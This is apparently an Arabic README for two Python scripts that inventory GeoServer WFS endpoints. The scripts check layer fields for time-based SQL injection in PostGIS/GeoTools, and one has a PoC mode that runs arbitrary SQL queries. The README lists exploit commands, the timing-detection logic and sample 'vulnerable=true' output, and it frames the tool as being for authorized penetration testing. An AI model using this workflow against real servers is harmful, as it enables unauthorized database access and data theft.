
نصوص بايثون لجرد نقاط نهاية GeoServer WFS والتحقق من ثغرات حقن SQL القائمة على الوقت في PostGIS/GeoTools، مع وضع PoC مخصص للاختبار المصرح به.
يحتوي هذا المستودع على سكربتين بلغة Python لفحص نقاط نهاية GeoServer-WFS.
wfs_inventory.pyالغرض: جرد الطبقات وحقول XSD وقيم WFS، والتحقق اختياريًا من المرشحين عبر فحص قائم على الوقت.
أمثلة التنفيذ:
python3 wfs_inventory.py --url https://HOST --valid-fields 4
python3 wfs_inventory.py --url https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5 --candidate-scope auto --timing-result-type auto
python3 wfs_inventory.py --url https://HOST --layer namespace:layer --sleep 1 --confirm-sleep 5 --valid-diagnose output.txt
geoserver_sqli_working.pyالغرض: نقطة دخول مدمجة للجرد بالإضافة إلى وضع PoC منفصل.
أمثلة التنفيذ:
python3 geoserver_sqli_working.py --target https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5 --query "SELECT current_database()"
ملاحظة مهمة: يُسمح باستخدام الفحص القائم على الوقت ووضع PoC فقط ضد الأنظمة التي يوجد تصريح اختبار صريح لها. يستخدم وضع الجرد العادي عمليات WFS القياسية فقط.
يمكن جعلها قابلة للتنفيذ اختياريًا:
chmod +x wfs_inventory.py geoserver_sqli_working.py
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4
يتم إضافة المسار الافتراضي /geoserver/wfs تلقائيًا. لذلك فإن العناوين التالية متكافئة:
https://HOST
https://HOST/geoserver
https://HOST/geoserver/wfs
في حالة التثبيت المختلف، يجب تحديد مسار WFS الكامل.
فقط للأنظمة المصرح بها صراحةً:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4 \
--sleep 1
أثناء الفحص، يظهر قياس لكل مرشح على stderr:
[sleep-check] phase=screen typeName=namespace:layer field_name=FIELD resultType=hits baseline=0.120s test=1.128s delta=1.008s passed=true
[sleep-check] phase=confirm typeName=namespace:layer field_name=FIELD resultType=hits requested=3s baseline=0.118s test=3.125s delta=3.007s vulnerable=true
الفحص الناجح ليس دليلًا إيجابيًا بعد. فقط إذا نجح القياس الثاني الأطول أيضًا، يتم إخراج كتلة معلمات.
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4 \
--sleep 1 \
--valid-diagnose output.txt
--valid-diagnose FILE يقوم تلقائيًا بتفعيل التشخيص المفصل وكتابته في الملف المحدد.
يعالج الوضع الافتراضي auto معلومات WFS بالترتيب التالي:
يتم فتح GetCapabilities مرة واحدة:
/geoserver/wfs?service=WFS&acceptVersions=2.0.0&request=GetCapabilities
يتم بث استجابة XML. بمجرد العثور على FeatureType/Name، يتم تحديد typeName التالي.
لهذه الطبقة، يتم تنفيذ DescribeFeatureType فورًا باستخدام version=2.0.0.
يستخرج السكربت عناصر XSD ويختار حقول String/JSON ذات أسماء مشابهة للمعرفات أو الأرقام.
يتم فحص المرشح اعتمادًا على الاستدعاء:
--sleep: يجب أن تكون قيم العينات JSON صالحًا نحويًا.--sleep N: يتم قياس طلب تحكم وطلب فحص قائم على الوقت. يتم تخطي فحص قيمة JSON.يتم إخراج النتيجة فورًا وتفريغها.
فقط بعد ذلك يتم قراءة typeName التالي من استجابة GetCapabilities الجارية.
بهذه الطريقة، لا يلزم معالجة استجابة GetCapabilities الكبيرة بالكامل قبل ظهور النتيجة الأولى.
بدون --sleep، يأخذ الوضع التلقائي افتراضيًا حقول String/JSON ذات أسماء مشابهة للمعرفات أو الأرقام.
مع --sleep، يستخدم --candidate-scope auto بدلاً من ذلك جميع حقول غير الهندسة البسيطة. لم يعد نوع XSD ونمط اسم المعرف يحجبان فحص التوقيت. هذا يمنع النتائج السلبية الخاطئة للأنواع الرقمية أو التاريخ/المنطقي أو أنواع XSD الخاصة بالمصنعين.
أنماط الأسماء المكتشفة تشمل:
id
*_id
*_fid
nr_*
*_nr
*nummer*
fid
uuid
guid
key
objectid
في الفحص القائم على الوقت، يجب أن يكون اسم الحقل أيضًا معرفًا بسيطًا بتنسيق [A-Za-z_][A-Za-z0-9_]*.
بدون --sleep، يتم التحقق مما إذا كانت القيم المرصودة يمكن تفسيرها نحويًا كـ JSON. لذلك، على سبيل المثال، تعتبر السلسلة "383205" مرشحًا لأن محتواها يمثل رقم JSON صالحًا. هذا الفحص هو استدلال وليس دليلًا على وجود ثغرة.
مع --sleep 1، يقرر قياس الوقت فقط. يعتبر المرشح إيجابيًا افتراضيًا إذا استغرق طلب الفحص 70 بالمائة على الأقل من وقت النوم المطلوب إضافيًا مقارنة بطلب التحكم. يفحص --timing-result-type auto أولاً resultType=hits وفي حالة النتيجة السلبية يفحص بعد ذلك resultType=results.
يتم تأكيد القياسات الإيجابية المؤقتة إلزاميًا بوقت نوم أطول. بدون --confirm-sleep صريح، يستخدم السكربت max(3, --sleep * 3)، محدودًا بـ 10 ثوانٍ. بهذه الطريقة، لا تؤدي قمة زمن انتقال واحدة عند --sleep 1 إلى vulnerable=true.
يحتوي الإخراج القياسي على كتلة واحدة لكل طبقة صالحة:
typeName=namespace:layer
field_name1=FIELD_A
parameter_string1=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_A
field_name2=FIELD_B
parameter_string2=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_B
يحتوي parameter_stringN على نقطة نهاية WFS المعيارية والقيم المناسبة لـ --typename و --field_name.
يحسب --valid-fields N كتل الطبقات، وليس الحقول الفردية. إذا كان هناك أقل من N طبقات صالحة، يستمر فحص الكتالوج المتبقي. باستخدام --max-layers يمكن تحديد الحد الأقصى لوقت التشغيل.
الخيارات --diagnose أو --valid-diagnose FILE تضيف من بين أمور أخرى:
GetCapabilities،DescribeFeatureType،GetFeature ومثال:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 10 \
--valid-diagnose diagnose.txt
python3 wfs_inventory.py \
--url https://HOST \
--mode layers
تحديد النطاق إلى مساحة اسم:
python3 wfs_inventory.py \
--url https://HOST \
--mode layers \
--namespace fink
python3 wfs_inventory.py \
--url https://HOST \
--mode fields \
--layer namespace:layer
يتم إخراج كل حقل ككائن JSON بالاسم ونوع XSD و nillable و id_candidate و usable_property.
python3 wfs_inventory.py \
--url https://HOST \
--mode values \
--layer namespace:layer \
--field FIELD_A \
--field FIELD_B \
--max-features 100 \
--format jsonl \
--output values.jsonl
تصدير جميع الخصائص:
python3 wfs_inventory.py \
--url https://HOST \
--mode values \
--layer namespace:layer \
--all-properties \
--max-features 100
مع --unique، يتم إخراج المجموعات المتطابقة من قيم الحقول المحددة مرة واحدة فقط.
wfs_inventory.py